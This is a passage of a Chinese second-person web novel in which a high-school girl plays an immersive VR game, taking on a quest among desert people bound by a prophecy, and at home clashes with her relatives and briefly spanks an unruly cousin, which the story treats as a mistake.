当然,对顶尖玩家之间的战斗起到决定性作用的还是玩家个人的操作,同一个技能打在要害部位和其他部位造成的伤害可以说是天壤之别,系统托管能做的有限。你在之前的游戏中积累过一定战斗经验,因此在游戏中战斗时操作起来还算流畅,同火凤交锋时你更是感受到了灵活健康的身体彻底投入战斗所带来的快乐。
装备上这七个技能后,你才到手没多久的资产又大大缩水,仅剩下100铜币和之前的2012贝币。
你还没来得及感叹,系统消息就打断了你的思绪。
【叮】放逐之子(第二章)已解锁(接取倒计时00:29:59)
【放逐之子】你跟随埃尔维斯来到了沙民聚居之地,这里的居民对你表现出了极大的憎恶,请化解居民们的负面情绪。(限时359:59:59)
不知为何,你看着长达15天的倒计时感到了一阵恶寒。
你没有犹豫太久,还是选择了接取。
第一章给的奖励实在不少,第二章应该也难不到哪里去吧?
——————
一进入剧情,你立刻感到头晕目眩,状态栏各项数值完全处于濒危状态,如果再不做点什么,你相信自己会第三次从沙子堆里爬出来。
先“护甲”“坚固”,再上“清润”“回元”,血线立马上涨了一小截,你好受了不少,但“回元”的解控效果却没有生效,你还是被埃尔维斯的绳索捆得牢牢的。
“愤怒”明明是被动技能,不知道为什么你血量仍在下降却没有生效,不过也好,现在不值得牺牲防御换取微乎其微且根本无法发挥的攻击。
你犹豫了一会儿,“反刺”这个技能还是捏在手里没用。
你们显然还在传送阵中,你觉得浑身无力,被埃尔维斯用他稚弱的肩膀撑着才能勉强站直。
想起来之前的遭遇,你心里还是有气,开始嘲讽他:“何必这么辛苦,把我扔在地上就行。”
“不行。”他解释得很认真,眼中有种你看不懂的狂热,“传送阵外面有时空乱流,你躺在符文上面会受伤的。”
“你还担心我受伤?”你根本没好气,只觉得他假惺惺,“你说的有真话吗?”
他脸色爆红,嗫嚅起来:“大部分……”
但很快他眼中的慌乱和天真都被狂热取代了:“很快就好了。以后你可以惩罚我,怎么样都可以,现在你听我的就好。”
你想要反口相讥,却突然感觉脚下踩上了实地,紧接着张扬的笑声传了过来,有个红发的女人披头散发,赤着脚向你们的方向狂奔而来。
她身后跟着跟着一大群白袍蒙面的人,但她眼中只看得到你,疯疯癫癫地边跑边笑,大声喊出谶言一般的谵语。
很快她跑到了你的身前,你看着她眼中的狂热,不由自主想要后退,但她却直直地跪倒,匍匐在你脚下亲吻起你脚边的土地,口中不断重复着方才的谶言。
“天上的太阳照常升起,
血色的泪湖却停止哭泣,
沙漠的子民无处安息,
唯有阿夏尔将神恩洒向大地!
祂的使者即将莅临!
归来吧!归来啊!
引领祂之人不属阳也不属阴,
祂手持沙漠之主的印信、
找到掩埋地底的绿色之心,
祂被视为外来者遭厌弃,
唯有真信者之血才能将祂唤醒!
祂的使者已经来临!
现身吧!现身吧!
太阳的阴影终会散去,
信仰的光芒由祂给予,
世间何曾有过不义之举,
唯有伪信者把骨骸深埋于泪湖之淤!
不洁之物被烧成灰烬!
祂将同使者一起降临!”
她念完这段谶语,所有白袍蒙面的人都像被钉在了原地,所有人的眼中都饱含复杂的情绪,但这个女人毫不在乎,她只是跪倒在你身前又哭又笑,口中大喊起来:“我看到了!我看到了!我才是真信者!我才是!”
埃尔维斯似乎很慌乱,他的脚步犹疑着,像是想向这群人靠近,又像是想躲在你身后。
正当你不知所措之时,人群中陡然分开一条道路来。一位身着红袍老者从人群中走出来,她满脸皱纹,表情看上去格外苦涩,但满头红发却热烈又鲜艳,随着她的脚步微微飘动起来。
她看上去很从容,却走得很快,身后两步的位置还跟着一个白袍子。
老者避
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开你的视线,淡淡地开口:“起来吧,钦黛尔。”
跪倒在你身前的女人立刻膝行过去,亲吻着老者的小腿,你看到她又挺直了脊背:“祂来了!祂真的来了!血色泪湖开始干涸,阿夏尔为拯救沙漠的子民而来!”
“是与不是,还没到可以做出判断的时候。”
老者的语气很淡,但表情却始终停留在苦涩的状态。她话音刚落,老者身后的白袍子就站出来,伸手扶起跪在地上的钦黛尔。钦黛尔却不领情,她挥手挡开白袍子,自己却失去平衡往后倒去。
“母亲!”
扶住他的人是埃尔维斯,他松开了那条锈色的长索,朝着名为钦黛尔的女人跑去。你在女人絮叨那意味不明的谶言时灌了一瓶中级回血药,已经恢复了不少,此时只静静地站在原地,你分明看见了埃尔维斯棕色眸子里明晃晃的关心。
原来这就是他母亲。
但钦黛尔一个眼神也没给他,踉跄着回转你的身边,牵起你的手背开始亲吻:“发发慈悲吧,阿夏尔的半身,可怜可怜你眼前的真信者,显示你的神威来证明我的忠贞吧!”
“普尔伽什!”
老者冷喝一声,声音中多了几分冷厉。很快之前的白袍子就走上来,直接将地上的钦黛尔拖走。钦黛尔的下袍上沾满沙土,连她脸上和头发上也是,她却毫不在意,一双含泪的眼睛哀哀地望向你一眨不眨,你才注意到她的容貌凄艳至极,一双手臂还用力地向你伸过来。
两人很快都消失在你的视线中,钦黛尔的哀嚎传来,你不知道她遭遇了什么,头皮一阵一阵地发麻起来。
老者像是全然没有听到,又或者是全然不在意,她上前几步,就在你以为她要做些什么的时候,她也跪倒在你身前。
“瓦萨达蒂!”众白袍都惊呼起来,显然对老者的举动感到震惊。
老者无动于衷,仍然继续自己的举动,她将红发深深地低下去:“假若您是祂的半身,您卑微的信徒祈求您展示您的印信。”
你正一头雾水,埃尔维斯走上前,跪在老者身后,双手上举。
他手中正是那根发白的火凤尾羽。
他声音坚定:“这是沙漠之主的印信,我曾亲眼看见她取下。”
人群中又是一片哗然,老者站起身,将尾羽举在阳光下打量起来。
“达尔勒穆,班哈杜。”
两个高大的白袍子从人群的前排走过来,他们先是向老者躬身,接着取下了他们头上罩着的白布,两个人都是金发的男子。
他们跟着打量了一会儿,左边的那个先开口:“这确实是火凤的尾羽,‘沙漠之主的印信’。”
“班哈杜?”老者向另一个人示意。
“这……”班哈杜的看了一眼达尔勒穆,回答得很谨慎,“力量几近消散,但确实是火凤的尾羽。”
“那么,你们都承认这信物?”老者问道。
众人默然,没有一个人站出来回答。
埃尔维斯低头跪在原地,没有人问他话,也没有人去注意他,但他显然已经习惯了这样的遭遇。
刚才拖走钦黛尔的白袍子又回来了,她也解开头巾,露出一张平凡的面容,唯一引人注意的是她纯粹而热烈的红发。
她跪在老者正前方:“瓦萨达蒂,普尔伽什不敢口称真信者,我们的双眼在祂的神辉面前如同失明,又怎么敢判断祂的使者是否已经来临?”
瓦萨达蒂脸上的表情动了起来,她不再苦着脸,微微挑眉:“哦?”
普尔伽什直视她:“既然谶语已经将一切预言,就让这预言去判断吧,一切都是祂的旨意。”
10. 神之使者
你突然听到嘎吱一声,转头望过去,发展埃尔维斯握紧了拳头,手背上的青筋根根暴起。
但没有人像你一样看过去。
他们像是全然不在意,名为瓦萨达蒂的老者再度跪倒在你身前,祈求道:“祂的半身啊,请求您找到掩埋地底的绿色之心,在您的子民面前显示您的伟力吧,我们一族不敢大声祈求您的恩赐,唯有将永世的虔诚献与您。”
埃尔维斯这时却抬头望向你,他眼中混杂着期待、担忧、尊敬、畏惧和更多你看不懂的复杂情绪。
你不明白他是不是希望你答应这位瓦萨达蒂。
你垂目向下,伸手扶起了这位红发老者:“我会为你们找到绿色之心的。”
原因无他,系统消息早一步弹了出来。
【放逐之子】找到掩埋地底的绿色之心(限时359:28:01)
也只能接啦~
埃尔维斯的表情好像很激动,但是他还是跪在原地不动。接着瓦萨达蒂又请你先去休息,普尔伽什等人都走上来簇拥着你,众人都要走了,埃尔维斯还是不动,除了你好像没人注意到他。
“等一下。”你停了下来,侧过身叫他,“埃尔维斯也一起走吧。”
接着果然传来了好感度提升的提示音。
众人都走在你身后,没人看见你眯起眼睛微笑。
我就是专门为你这样的小骗子而来的,看你最后是不是栽在我手里。
————————
沙民们聚居的地方是一座用沙土建立起来的城池,四周都是暗沉沉一片黄土,不禁让人觉得有几分压抑。
居民们庭前都有花园和装饰用的花砖,但因为缺水,几乎只剩下一点枯桩残枝,只能从规划分区上看出主人原本的用心。
但走近了看,你才发现整座城市不是单调的昏黄——居民们房屋的外墙上,全部挂上了红色的绳结,有的多有的少,多的几乎将整面墙变成了红色。
瓦萨达蒂走在你身后缓缓介绍着:“这些绳结是用来祈福的,每年的七月节,我们每个人都会往墙上挂上一根自制的绳结。以前的风沙城,也有绿草茵茵,城中的湖泊清澈见底,可后来,血色泪湖开始萎缩,城中湖也干涸了,我们每家每户门前都放着祈雨的大缸,但从来没有再装满过。”
你配合地回应:“哦?”
瓦萨达蒂果然说了下去:“这一切都是因为那群蛮族,他们抢走了绿色之心!我们的湖泊干涸了,族中年轻的孩子越来越少了,整整两年没有新生儿降生,祂的神恩就要为我们断送了!”
但接着,瓦萨达蒂又恢复了平静,她双手拢在一起,脸上还是不变的苦涩:“您瞧我,怎么能在祂的半身前说这些话。我们不会抱怨,一切都是神恩,雷霆我们愿承受,雨露我们也甘领取,既然您已经来了,想必祂的神恩很快就会泽布整座风沙城。”
“请往这边走。”瓦萨达蒂走到你身侧向你指路,引着你往城池最中央最宽大的屋舍走去。
这座大殿被重重土墙包围起来,墙上几乎全部是红色的绳结,新的压住旧的,在空中随风轻摆。周围几乎没有民居,走到这里格外的安静。而通往神殿主建筑的大道上铺满了红色的花砖,上面绘着各类花朵的模样,精致而颇具异域风情。
你顺着花砖往前走,一进殿门就有两个白袍子走上来,跪倒在地朝你扑上来,你连忙后退,这种礼节实在叫人无法适应。
她们倒没有惊慌,看你不愿意,分别膝行向两侧,匍匐在地想等你走过。
你上去扶,两个都不肯起来,你也不好意思从她们中间走,从其中一位的身后绕过去了,开口道:“我走过了,可以起来了。”
两个人于是起身,接着转身从侧门出去了。
这时人群几乎都散了,他们止步在这座屋舍之外,你往门口看,埃尔维斯还等在外面。
“你过来。”你冲他招手。
他立刻噔噔噔地跑过来,像被主人呼唤的小狗。
经过之前的下线打岔,又有了方才的一出,你这时已经完全不记得生气了,看着他只觉得好笑,嘴上还是故意调侃。
“埃尔维斯?你不是说我可以罚你?你该兑现承诺了。”
他有些惊讶,棕色的眸子里蓄满了泪,转身头也不回地跑了。
“埃尔维斯!”你想叫住他,你不过嘴上说说而已,但他像是没听见,早就跑远了。
两位白袍女又走了上来,这时她们解了头巾,你才注意到她们也是红发,肤色是深红棕。她们各端了两个大盘子,在你面前摆开,依次是蜜渍肉干、椒盐肉干、某种格外香甜的干果和一盘乳酪。
接着她们像是想要喂你,你连忙摆手:“不必不必!”
等两人走了,你随便嚼了两块肉干垫肚子,饥饿值立刻回复,你又多吃了两块,味道还不错。
等你把切肉的小刀放在案几上,两女又不知道从哪里飘出来收走了盘子。
你站起身来走动,打量着这屋子里的陈设。居于屋舍正中的是一条洁白的过道,两旁镶有金红两色的地砖。再往两边是金属制成的纤长烛台,红金两色的蜡烛交错摆放,全部都点燃了。屋内还有六根需要两人合抱的落地白色圆柱,其间作为装饰的幔帐也是白色的,但有着精致的暗纹,烛光照耀下反射出的红金两色交错,显得格外奢华。
过道的尽头就是你所坐过的案几,黑色实木制成,你扔了个鉴定术——“黑色檀木制成的案桌,沙民为神之使者而设”。案几两旁各有一个铺设的垫子,中间都有深深的凹痕,显然是长时间有人跪坐留下的痕迹。刚才的两位白袍女跪坐在这里试图喂你被你拒绝,估计这两个就是她们在使用。
你鬼使神差地抬头,却发现穹顶上竟然有着壁画。
壁画一共五副,你研究了一下,猜测着壁画的先后顺序。中间那副是一团白色的光芒,其中像有什么,又像什么都没有。而周围的四幅里的人物都朝着中间的壁画,分别是一个红发女子朝中间举起一大块红色的物体、一个金发
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男子躺在地上头却看向中间、金发男子和红发女子面朝中间牵手站在写着风沙城三个字的城门之下、红发女子带领着不同的红发女子和金发男子向着中间壁画的方向跪倒。
你看了半天,除了觉得脖子痛,什么收获也没有,鉴定术只显示“沙民的传统壁画”几个字。
很快两白袍女又飘过来,簇拥着你去洗澡,你晕晕乎乎地跟着走,走到了浴池才缓过神。宽大的浴池里放满了热水,上面还飘着花瓣,整个房间里蒸腾着热气。
你下意识拒绝,玩家洗澡会自动保留内衣的,但除了住宅小屋以外的地方洗澡不会加清洁度,几乎没什么用。之前格外顺从你的两女却很慌乱,一下子跪倒在你脚边,动作快到你根本来不及去扶。
“请您宽恕,这已经是我们可以找到的所有水了。”
你听完只觉得格外沉重,干脆跪坐在她们身前:“我没有生气,我只是不用洗澡,你们把干净的水取走给有用的人吧。”
两女面面相觑,确定你说的是真的之后向你表示感谢,但她们最后还是没有把水取走。
你看着这满池的水,想起瓦萨达蒂说的话,心里竟然有了一丝罪恶感。你见过的几个沙民大多有着一张饱经风霜的脸,他们的嘴唇都因干燥开裂,没有几个人的脸色是红润的。
已经这么艰难了,为什么要把救命的水给别人洗澡呢?
你感到不解。
走到大殿时,身后的脚步声打断了你的思绪,你转头,来的人是埃尔维斯。
他抱着一捧收好的皮鞭,递给你道:“您可以用它鞭笞我,我为冒犯您而忏悔。”
“无礼!”驳斥他的是那位普尔伽什,她平凡的面容上竟然有几分怒色,“教义中从来没有苦行可以赎罪的说法!唯有善行可得救赎!这位大人怎么会鞭打你呢,你从哪里学到这样的想法?”
“请问你来有事吗?”你把埃尔维斯拉到身后,希望普尔伽什能转移话题。
普尔伽什避开你的视线,答道:“瓦萨达蒂说六天后是应召神恩的好日子,请您在那时出发,全城的子民都会来为您送行。”
你发现了,除了钦黛尔和埃尔维斯,他们都不肯直视你。
这又是为什么?
你心里琢磨起来,嘴上也答应了普尔伽什的要求。算一下时间,如果按照瓦萨达蒂的计划出发且及时完成任务,那么真正留给你的时间只有十来天。可现在连任务目标是什么你都不清楚,轻举妄动实在不够明智。
你客气地送别了普尔伽什,等她走了你才松一口气,这里的人说话方式怪叫人不习惯的。
埃尔维斯同你面面相觑,这时他又笑得很腼腆了。
你瞪他一眼,转身往别的房间走去,埃尔维斯则立刻跟上。
在屋子里每个房间都转了一圈,你没有额外的发现,就告诉埃尔维斯和两白袍女说你要休息,如果不出来就是在睡觉,不要进去打扰你。
等三人都答应了,你转身关门后立刻切后台下线。
11. 两端
从游戏舱里出来已经过了晚上十二点,你匆匆忙忙洗漱完便休息了。
第二天一早睁开眼,客厅里已经很吵了。
看一眼时间,七点刚过。
等你洗漱完准备出去吃饭,叔叔一家果然到了。
“叔叔阿姨早。”你记得妈妈昨天的叮嘱,不想她为难,主动打了招呼。
叔叔很沉默,点点头就过去了,一个眼神也没给你。婶婶则抿出一个笑,夹你一眼,道:“还早呢?夏天白日多长?你弟弟妹妹早就起来了,来你家坐了快一个小时你这个姐姐才起来,还早!”
你背过身去撇撇嘴,妈妈听到声音从厨房出来了:“她高三太辛苦了,好不容易能多睡会儿觉,我都不让她早起的。”
转头又喊你:“妈妈给你煲了汤在厨房,喝完回去继续睡一个小时啊。”
你也懒得搭理婶婶,你小时候在她那个人身上吃过不少亏,摆着长辈的谱没少教训你,越搭理话越多。
冲妈妈做个鬼脸,你进厨房去找今天的早饭了。你坐在餐厅吃早饭的时候书房里传来一阵小孩子的尖叫声,又跑又闹的,你听了好一会儿,那边还没安静下来。
“小婶。”你喊她一声,“你管管小俊,他再这么闹楼下要来敲门了。”
婶婶转头大声喊起来:“小俊!不许吵!这是在别人家,你吵到你小堂姐了!”
你实在有些憋气,小婶这人总是话里有话,但是看一眼在厨房忙碌的妈妈,你又忍下来。
没多久爸爸敲门回来了,他在门口换鞋,叔叔这个时候倒很热情了,冲上去拖着爸爸进来,好像他才是主人一样。
那边应付完,爸爸冲你笑,走过来把帆布包里的牛奶拿出来:“爸爸专门去买的,今天的,新鲜呢,你吃完喝。”
小婶也凑过来:“哟,本地产的奶啊,这个好,专门早起去买的吧?二哥买了多的吗,给我们小俊小芸也尝尝呗。”
“买了的买了的。”爸爸笑,“就知道弟妹你要问,又不是什么稀罕东西,都买了。”
“二哥这话怪难听的,什么叫我又要问?”小婶鼻子不是鼻子,眼睛不是眼睛的。
爸爸还是很好脾气:“那我给你赔不是,我这个人有口无心的。”
小婶像是还想说什么,你的堂弟小俊马上冲出来蹿到小婶跟前,缠着她要喝东西。小俊一出来小婶什么都顾不上了,一个劲儿哄他,你倒是无所谓,小婶家的堂妹小芸却很不自在,站在一边脸上的表情格外尴尬。
你把小芸拉过来,往她手了塞了一瓶,又给爸妈一人分一瓶,自己拿一瓶,剩下一瓶放桌上不管了,反正小俊会自己拿,不然就是小婶给他拿。
你本来想回房间练会儿字,没写几行外面又吵起来了。你一开门,小婶把小俊搂在怀里哄着,小芸一个人站在碎玻璃和打翻的牛奶面前不知所措。妈妈听到声音从厨房里出来,小芸想帮忙收拾,妈妈赶紧拦:“小芸别动,担心划手,我来就好。”
你把小芸安排到一边坐好,自己走过去帮忙。叔叔坐得稳稳当当,小婶在一旁眼风也不扫一下,两个人在那里哄小俊,又怪这个又怪那个的,埋怨地不平害他们儿子摔了,埋怨没人盯着他去扶一把。
“薇薇,叹什么气啊?”小婶调转矛头,这下对着你了。
“没什么。”你也不理她,收拾完碎玻璃拿出去找了个垃圾袋专门装起来。
“小薇这孩子,越长大越不懂事,长辈跟她讲话,什么态度。”
你爸完全听不懂这种机锋,但还是下意识护着自己孩子:“小薇在收拾没听见你讲的吧。我们家小闺女,左邻右舍没有不夸她的,又懂事又贴心,我跟她妈妈从来不说她一点不好的。”
“哟。”小婶偏来劲,“丫头片子,再好有什么用,我们家小俊,可以独一根,这一辈就他一个男丁,咱们全家以后都指望他了。”
“真的二哥不是我说你,小薇,成绩也没多好吧,也没见她考第一第二的。一年到头还病怏怏的,就这样你们还乐意供着她,把个小丫头惯的眼里看不见长辈无法无天的,真是多亏你们,要是我们家小芸啊,我才不惯着她,让她早点工作出去吃两年苦,什么病都熬没了。”
“弟妹啊,嘴上给自己积点德。”妈妈走出来狠狠瞪了小婶一眼。
这话说的过分,爸爸也没有和稀泥,冷着脸不说话了。
妈妈又过来拉你,塞过来一卷钱,小声道:“你小婶那个破嘴,我去说她。你带着小俊小芸出去小区超市转两圈,我在孩子面前给她留点面子。”
“妈,你不会吃亏吧?”你有些担心,不肯走。
“放心啊,妈还怕她?你爸最不乐意别人说你不好了,他要是再敢和稀泥我连他一起骂。你去了也给自己买点吃的,乖啊,带着小俊小芸出去。”
你还是被推出来门,左一个堂弟又一个堂妹,一个像脱缰的野狗要扑出去咬人,一个像拘谨的小绵羊半步不肯离开你身边。
到了超市,堂弟小俊简直撒了欢儿,看中什么就喊你拿,嘴上只说要这个要那个,一句姐姐也没有。小芸从头到尾没选东西,你喊她去才跟着挑了几样。最后你帮她挑的,就按着小俊选的来,选了不一样的估计最后也到不了她手里。
结账的时候拎了两大包,小俊嫌你们走得慢,说自己回去就跑了。小芸在后面帮你拎东西,她刚上初中,也没什么力气,你们走走歇歇,在公园长椅上坐了好一会儿。
你看小芸累了,选了几样她这个年纪的小孩可能爱吃的零食拆出来给她吃。
小芸很为难:“这样不好吧。”
“吃吧,吃完回去。”你知道她在担心什么,“这么一大包,小俊才不记得有什么。”
又摸摸她的头叮嘱她:“别怕小俊看到抢你的,在堂姐家他还敢犯浑你就跟我说”
回家之后还没进门就隐约听见小俊尖叫,一推门吵得人头晕,他炮弹似的冲过来,把你撞得往后退了好几步,抢了你手里的零食就跑。你甩甩胳膊,发现手心已经被勒出了一道深深的红痕,你不想跟他待在一起,跟小芸招呼了一声就回房间了。
你也没心思做别的事,干脆上了游戏去做任务。
一登录,迷惘沙漠这边天刚蒙蒙亮,你发现奇遇里的非关键剧情也是会自动推进的。
外面两个白袍女还守着,她们一个叫加米拉一个叫佩莉姆,是对双胞胎,从出生后就没有离开过这座神殿。你还注意到这两个人行动格外刻板,不知道是性格使然,还是身为非关键npc官方没有用心设计。
你喊她们去休息,两个人答应了。你找遍了所有的房间,还是没看见埃尔维斯。
大概是对比产生美,你发觉埃尔维斯这样的小骗子其实也不乏可爱之处,于是决定去找找他,顺便探听一下任务相关的消息。
等到了神殿外面,整座风沙城的街道上都没有多少路人,不知道是不是因为你出来太早了,只有寥寥个披甲战士来回巡逻,大多数民居都大门紧闭。
这些巡逻的战士一碰到你,不是望天就是看地
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,你心中产生了一些被刻意无视的微妙,但是还是安慰自己正好省了你的功夫不用同他们打交道了。你打开附近的地图,昨天你进入这里就解锁了风沙城地图,埃尔维斯现在对你的好感度超过了30点,地图上可以看到代表他的小小标识。
你顺着地图找过去,发现埃尔维斯位于风沙城东南角的一座屋舍内。这栋屋子周围有栅栏隔开,外面始终有士兵来回巡逻。
你犹豫了一下,没有直接进去,却也不走,而是绕到另一边的土墙之下,找了个视野开阔的位置观察起来。
期间你还近距离观察了一番墙上悬挂的红色绳结,有的看上去十分精良,看得出制作者格外用心,有的看上去则较为粗糙,大约它的主人不擅长手工。你出于玩家的本能,拍了一个鉴定术上去,显示的结果出乎你的意料——“沙民祈福用的绳结,制作者是七岁的普尔伽什”。
你又扫了一圈这根绳结附近,在众多的名字中又找到了“钦黛尔”“达尔勒穆”“班哈杜”三个略微熟悉的。
这么巧?
你记下这个线索,继续观察起来。
对面那栋屋子看上去同周围的建筑没什么区别,外观都是灰黄色的沙土墙,上面同样悬挂着一些红色的绳结,低矮的栅栏并不能起到隔绝视线的作用,庭院之中仅有几棵干枯的树干,显得格外萧瑟。
不知道过了多久,普尔伽什扶着瓦萨达蒂走出来,她们没走几步,钦黛尔就疯跑着追出来,披散的红发随风飞扬,喊得声嘶力竭:“我才是真信者!我才是!你为什么不选我!”
或许是刚刚看到了“七岁的钦黛尔”这样的字样,你心中颇为惋惜和好奇,究竟是什么让钦黛尔成长为今天的样子的?
埃尔维斯就不远不近跟在钦黛尔身后,从你的视角看不到他的表情,只看到他双手垂在身侧,头向下埋得低低的。
你探出身子想听清楚她们说什么,普尔伽什却突然转向你的方向:“是谁?”
普尔伽什向一旁的侍从示意,从两个方向一前一后分别绕到了小路一侧。
两人准备前后夹击,却扑了个空:“怎么没人?”
普尔伽什回来时钦黛尔和埃尔维斯都离开了,她走到瓦萨达蒂身边,轻轻耳语几句。
瓦萨达蒂沉吟了一会儿,脸上的苦涩之意越发浓重:“你晚上,带着那个孩子去看一眼。”
普尔伽什脸上有些不忿:“那位大人想知道什么,为什么不直接问我们呢?难道在怀疑我们信仰不够虔诚?”
瓦萨达蒂却叹了一口气:“普尔伽什,不要轻易妄语。”
“你太冲动了,普尔伽什,越是复杂的情况,越应该保持缄默,坚韧才是真信者应有的美德。”瓦萨达蒂的目光不知落向何处,“最近我常常做梦,冥冥中我预感到风沙城将会长久地为阴影所笼罩。”
“可那位大人已经到来……”
“不,普尔伽什,一切皆是神恩。不要想象祂、不要描摹祂、不要期盼祂。坚信祂,神的恩旨必然会到来。我们都是神无知的羔羊,我们在祂的智慧面前微不足道,祂的仆人应当沉默。”瓦萨达蒂用沙民的语言念出一长串富有韵律的句子,她看着普尔伽什,“钦黛尔的错误,不应该再上演了。”
“可那个孩子……”普尔伽什显得很犹豫,比起瓦萨达蒂她还太年轻了。
“不可忘记祂,不可直视祂,我的口不可呼唤祂的名,我的名不可联结祂的姓,唯有善行得证善果,一切皆为神赐,真信者静待神恩。”瓦萨达蒂闭上了眼。
12. 冲动
你睁开眼看着游戏舱内壁时还有些茫然,你看到普尔伽什转身正想离开,突然就紧急下线了。
不会是游戏舱坏了吧?
内部的操作面板明显没问题,你从游戏舱里走出来,发现电源线被拔掉扔在一边。
房门突然打开,小俊冲你翻白眼吐舌头:“略略略,谁让你不陪我玩!”
你觉得心里之前的压抑的火直往头顶冲。
你的脚步重重地踩在木地板上,等小俊察觉不对的时候已经晚了,你不知道哪儿来的力气,一把按住他往房间里带。他双手乱挥双脚乱蹬,胡乱扇你的脸踹你的小腿,挣扎间将门重重地从里面关上了。
这下倒好,你狠下心忍着疼,一把把他掼在房间里的小沙发上,抄起一根衣架狠狠打在他屁股上。
“谁让你进我房间了?”没打两下你的胳膊就酸了,便用衣架啪地打在沙发上恐吓他,“我有没有告诉过你不要来我房间,你以前来的时候我就告诉过你,随便进女孩子房间你还挺有理了!”
外面的小婶已经在呼天抢地了,刚刚小俊踢门的时候她就过来了,在外面大喊大叫让你别打她宝贝儿子。小叔直接过来捶门,不停喊你开门,没听到你答应只听到小俊干嚎之后直接开始踹门。
“别在外面吵了!”你心烦意乱,冲着门那边喊起来,“踹一下门我打你儿子十下,你进来之前肯定够我狠狠打他一顿了!”
结果外面的踹门声果然停了,小婶哭丧似的嚎哭起来,你听到妈妈冷静的声音:“小薇从来都很乖的,不可能主动动手的,你不要哭了,等下孩子们出来好好问问。”
你听着颇感心虚,其实动手这事确实是你冲动了,但是爸妈还是先相信你维护你。
小俊趴着哭累了,他比同龄的孩子矮,却要胖上一大圈,挣扎了半天都被你死死按着,干脆放弃了。你只打了他两下,真真切切看到他先是一懵,等小婶在外面哭嚎的时候才干嚎起来,还是光打雷不下雨。后来看到真的没人进来,他才真的哭了起来,边哭边抹眼泪的,比平时四处招猫逗狗的样子看起来顺眼多了。
外面小婶理屈,她确实没办法违心说自己孩子平时也很乖,面对妈妈时她总是没什么底气,大概也知道妈妈不会像爸爸一样忍着她。
小叔反而不满了:“二哥,你看看小薇,小俊才多大啊她仗着自己大几岁欺负小孩儿?我是不是也能仗着我比她大打她一顿啊?”
爸爸也来气了:“我们也没有说薇薇没错,只是让你们不要激化矛盾,在我家里踹门算什么,等孩子出来再说。你跟我吼起来了还,你听听你自己说的什么话,大帽子就往薇薇头上扣,我还是你哥呢,我要是像你一样为老不尊打你一顿你也得受着?”
你发现了,其实你爸妈对你的态度跟小叔小婶对小俊差不多,遇事总是先护着自己孩子。你想想小叔一家平时的作为,再想想自己,浑身发毛,立刻反省自己是不是也有过这熊孩子一样蛮不讲理的举动。
也没心情再揍熊孩子了,你雷声大雨点小地恐吓他几句以后不许进你房间、不许欺负小芸,等他哆哆嗦嗦答应了才松开。
外面乱糟糟的,小叔跟爸爸呛起来了。你有些心烦,这时妈妈敲了两下门,推门进来了。她坐到你床边,拉着你的手问道:“跟妈妈讲讲,怎么跟小俊动手了。”
“他太气人了。”你想想,却发现那些事情说出来似乎显得自己太计较,但对着妈妈,还是把自己反感的事都说了。
“我知道我冲动了,我就打了他屁股两下,后面吵起来也没动手了。”
妈妈摸摸你的头,叫你坐正,看着你的眼睛道:“小俊做的事情确实很气人,但是你不能以大欺小,别人听了只会说你的。他爸妈不教,以后有的是人帮他们教,你管他们的闲事做什么呢?你小婶每次来阴阳怪气的,我难道是听不懂?本来我是要说你的,但是你已经知道自己的问题了,妈妈就不说了,你以后也要记住。”
你点点头,问:“爸跟小叔吵起来了,我要不要出去跟小叔小婶认个错?”
“跟他们认什么错?”妈妈撇嘴,不想多提,道,“你爸跟你小叔这么多年也是有心结,让他们吵去吧,你爸早看清了,才不会由着他拿捏。”
妈妈显然心里有气,又说:“算盘打得真响,这么多年谁不知道他心里那点事,也是够宝贝这儿子的,宝贝到要别人都来养他的儿子!”
你低头噤声,从来不敢在爸妈面前接这件事的话茬。
妈妈也意识到了不该在你面前说这些,叫你不要受他们影响,自己起身出去了。
到了午饭的时候,一桌子人都不出声,连小俊都老老实实的,众人就在这么古怪的气氛里吃完了一顿饭。
下午你回房间,敏锐地察觉到似乎有哪里不对劲。四处打量了一圈,发现书桌上的手账本摊开倒扣着。这不是你平时放东西的习惯,你走过去一看,直接气笑了。
原本你记录的内容,全部被用笔划上了凌乱的涂鸦,好几页直接被撕了,只剩下皱皱巴巴的一点残纸。你继续往后翻,后面没有写的地方也被涂画了,有一页画了个大大的猪头,旁边写上活该两个字,该还是拼音。
你直接把手账本扔进垃圾桶:“还是欠收拾,今天打轻了。”
等你上游戏的时候,「新世界」里面已经是晚上了。
这两天你隐约觉得奇遇剧情在加速,不知道自己下线的时候有没有错过什么重要剧情。但任务栏的倒计时却不紧不慢地走着,从你接任务到现在过了将近一天,同外界的时间流速保持一致。如果错过重要剧情,很可能意味着任务无法顺利展开,但你的任务面板毫无变化,似乎没有被其他因素影响。
想不明白,你便不再多想,计划着在周围继续逛逛,看看风沙城里有没有线索。瓦萨达蒂把话说得模模糊糊,连绿色之心是什么你都没弄明白,如果要给她写注释,你觉得“「新世界」第一谜语人的一生应当这样度过”是最恰如其分的。
其实初始章节的剧情你也没太弄明白,系统任务要求弄清楚埃尔维斯独自出现在沙漠的原因,前面任你百般套话,埃尔维斯解释再多,任务还是没有进展,传送的时候却突然显示任务已完成。
不对。
你记得系统提示出现之前,埃尔维斯说了一句话。
“我是为你而来的,正如你一样。”
你重复着这句话,奇异的韵律似乎与某种冥冥中声音有一瞬达到了同频,你心跳漏了一拍,浑身汗毛倒竖。
记忆中埃尔维斯狂热的面容似乎与钦黛尔的重叠了,他或者她在嘶吼——“我才是真信者。”
一阵冷风吹来,神殿里的帐幔微微摇曳,烛光在夜色中闪烁起来,整个大殿都暗下来。
“吱呀——”
“啊!”你惊叫出声。
定神一看,原来是普尔伽什。
她穿着一身白色长袍,走路的样子像是飘过来一样。
她走到你下首的位置,侧坐在台阶上冲你伏首:“大人,我为您而来。”
“请不要怀疑祂的子民的忠贞,我们沐浴着祂神恩的光辉长大,愿意将我们的生命乃至更高于生命的一切献给祂。您的仆人无权过问您,但您有权利知晓您仆人的一切,假如您心怀不解,普尔伽什愿意为您解惑。”
说完她仍旧深深地躬身,白色的长袍拂到地面,你看见她露在长袍外的手格外粗糙,这是常年劳作留下的痕迹。
你想起意外下线前普尔伽什的那个眼神,难道被发现了?
被发现或许也是意料之中的事情,整座城市都只有你一个外来人,如果发生什么不寻常的事情,很容易叫人联想到你身上。
可普尔伽什这是什么意思?让你不要偷偷摸摸而是光明正大地问?
你决定就着台阶下。你不觉得普尔伽什会骗你,现在的你连埃尔维斯都打不过,沙民还人多势众,如果真的想从你身上获得什么,你自己也想不到有什么是别人可以图谋的。
还有什么,图谋只够买三瓶低级回血药的铜币吗?
你已经发现了,他们是将你同某个预言联系起来,才会对你格外尊重,而在这个前提下,对你耍心眼更是没有必要。
